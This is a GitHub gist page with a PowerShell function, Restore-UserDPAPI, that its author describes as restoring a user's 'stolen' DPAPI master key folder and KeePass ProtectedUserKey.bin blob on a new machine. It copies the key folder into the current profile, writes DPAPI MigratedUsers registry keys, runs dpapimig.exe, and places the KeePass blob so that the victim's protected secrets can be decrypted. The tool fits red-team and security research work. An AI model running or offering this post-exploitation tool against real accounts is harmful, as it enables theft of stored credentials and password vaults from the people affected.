Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
Last active July 7, 2023 09:05
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save HarmJ0y/2af9ac57f95e6663a26742774c822b10 to your computer and use it in GitHub Desktop.
Save HarmJ0y/2af9ac57f95e6663a26742774c822b10 to your computer and use it in GitHub Desktop.
Restore a user's stolen DPAPI master key folder and optional KeePass DPAPI data blob.
function Restore-UserDPAPI {
<#
.SYNOPSIS
Restores a user account's DPAPI master key on a new system.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function will take a backup of a user's DPAPI master key folder (C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>\),
copies the folder to %APPDATA%\Microsoft\Protect\ for the current user on a new machine, sets several
DPAPI MigratedUsers registry keys necessary, and invokes dpapimig.exe to kick off "Protected Content Migration".
If the password for the user account associated with the master key differs from the current user's,
the "Protected Content Migration" GUI will prompt for the old user password.
There is more information on this process from KeePass at https://sourceforge.net/p/keepass/wiki/Recover%20Windows%20User%20Account%20Credentials/
.PARAMETER Path
The C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>\ folder to restore, must be in S-1-... SID format.
.PARAMETER UserName
The username linked to the folder to restore.
.PARAMETER UserDomain
The domain (or local machine) linked to the UserName/folder.
.PARAMETER ProtectedUserKey
The path to an optional ProtectedUserKey.bin KeePass DPAPI blob.
.EXAMPLE
PS C:\Temp> Restore-UserDPAPI -Path C:\Temp\S-1-5-21-456218688-4216621462-1491369290-1210\ -UserName testuser -UserDomain testlab.local
Restores the DPAPI master key for the testlab.local\testuser (SID=S-1-5-21-456218688-4216621462-1491369290-1210) from
the C:\Temp\S-1-5-21-456218688-4216621462-1491369290-1210\ backup folder.
.EXAMPLE
PS C:\Temp> Restore-UserDPAPI -Path C:\Temp\S-1-5-21-456218688-4216621462-1491369290-1210\ -UserName testuser -UserDomain testlab.local -ProtectedUserKey ProtectedUserKey.bin
Restores the DPAPI master key for the testlab.local\testuser (SID=S-1-5-21-456218688-4216621462-1491369290-1210) from
the C:\Temp\S-1-5-21-456218688-4216621462-1491369290-1210\ backup folder, and copies the KeePass-specific
ProtectedUserKey.bin DPAPI blob into the proper location.
.LINK
https://sourceforge.net/p/keepass/wiki/Recover%20Windows%20User%20Account%20Credentials/
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
[ValidateScript({ Test-Path -Path $_ })]
[String]
$Path,
[Parameter(Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$UserName,
[Parameter(Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidatePattern('.*ProtectedUserKey\.bin')]
[ValidateScript({ Test-Path -Path $_ })]
[Alias('KeePassBlob')]
[String]
$ProtectedUserKey
)
$UserFolder = Get-Item $Path
$SID = $UserFolder.Name
if($SID -notmatch '^S-1-.*') {
throw "User folder must be in 'S-1-...' SID format!"
}
Write-Host "`n[*] Copying $($UserFolder.FullName) DPAPI folder to $ENV:APPDATA\Microsoft\Protect\"
Copy-Item -Path $UserFolder -Destination $ENV:APPDATA\Microsoft\Protect\ -Recurse -Force
Write-Host "`n[*] Creating DPAPI MigratedUsers registry keys"
$Null = New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DPAPI\MigratedUsers\$SID\UserDomain" -Force
$Null = New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DPAPI\MigratedUsers\$SID\UserDomain" -Name $UserDomain -Force
$Null = New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DPAPI\MigratedUsers\$SID\UserName" -Force
$Null = New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DPAPI\MigratedUsers\$SID\UserName" -Name $UserName -Force
Write-Host "`n[*] Calling dpapimig.exe... (this may take just a bit)`n"
Start-Process $ENV:WINDIR\System32\dpapimig.exe -NoNewWindow -Wait
if($PSBoundParameters['ProtectedUserKey']) {
$ProtectedUserKeyFile = Get-Item $ProtectedUserKey
Write-Host "[*] Copying $($ProtectedUserKeyFile.FullName) to $ENV:APPDATA\KeePass\`n"
if (-not (Test-Path -Path $ENV:APPDATA\KeePass\)) { $Null = New-Item $ENV:APPDATA\KeePass\ -Type Directory }
Copy-Item -Path $ProtectedUserKeyFile -Destination $ENV:APPDATA\KeePass\ -Force
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment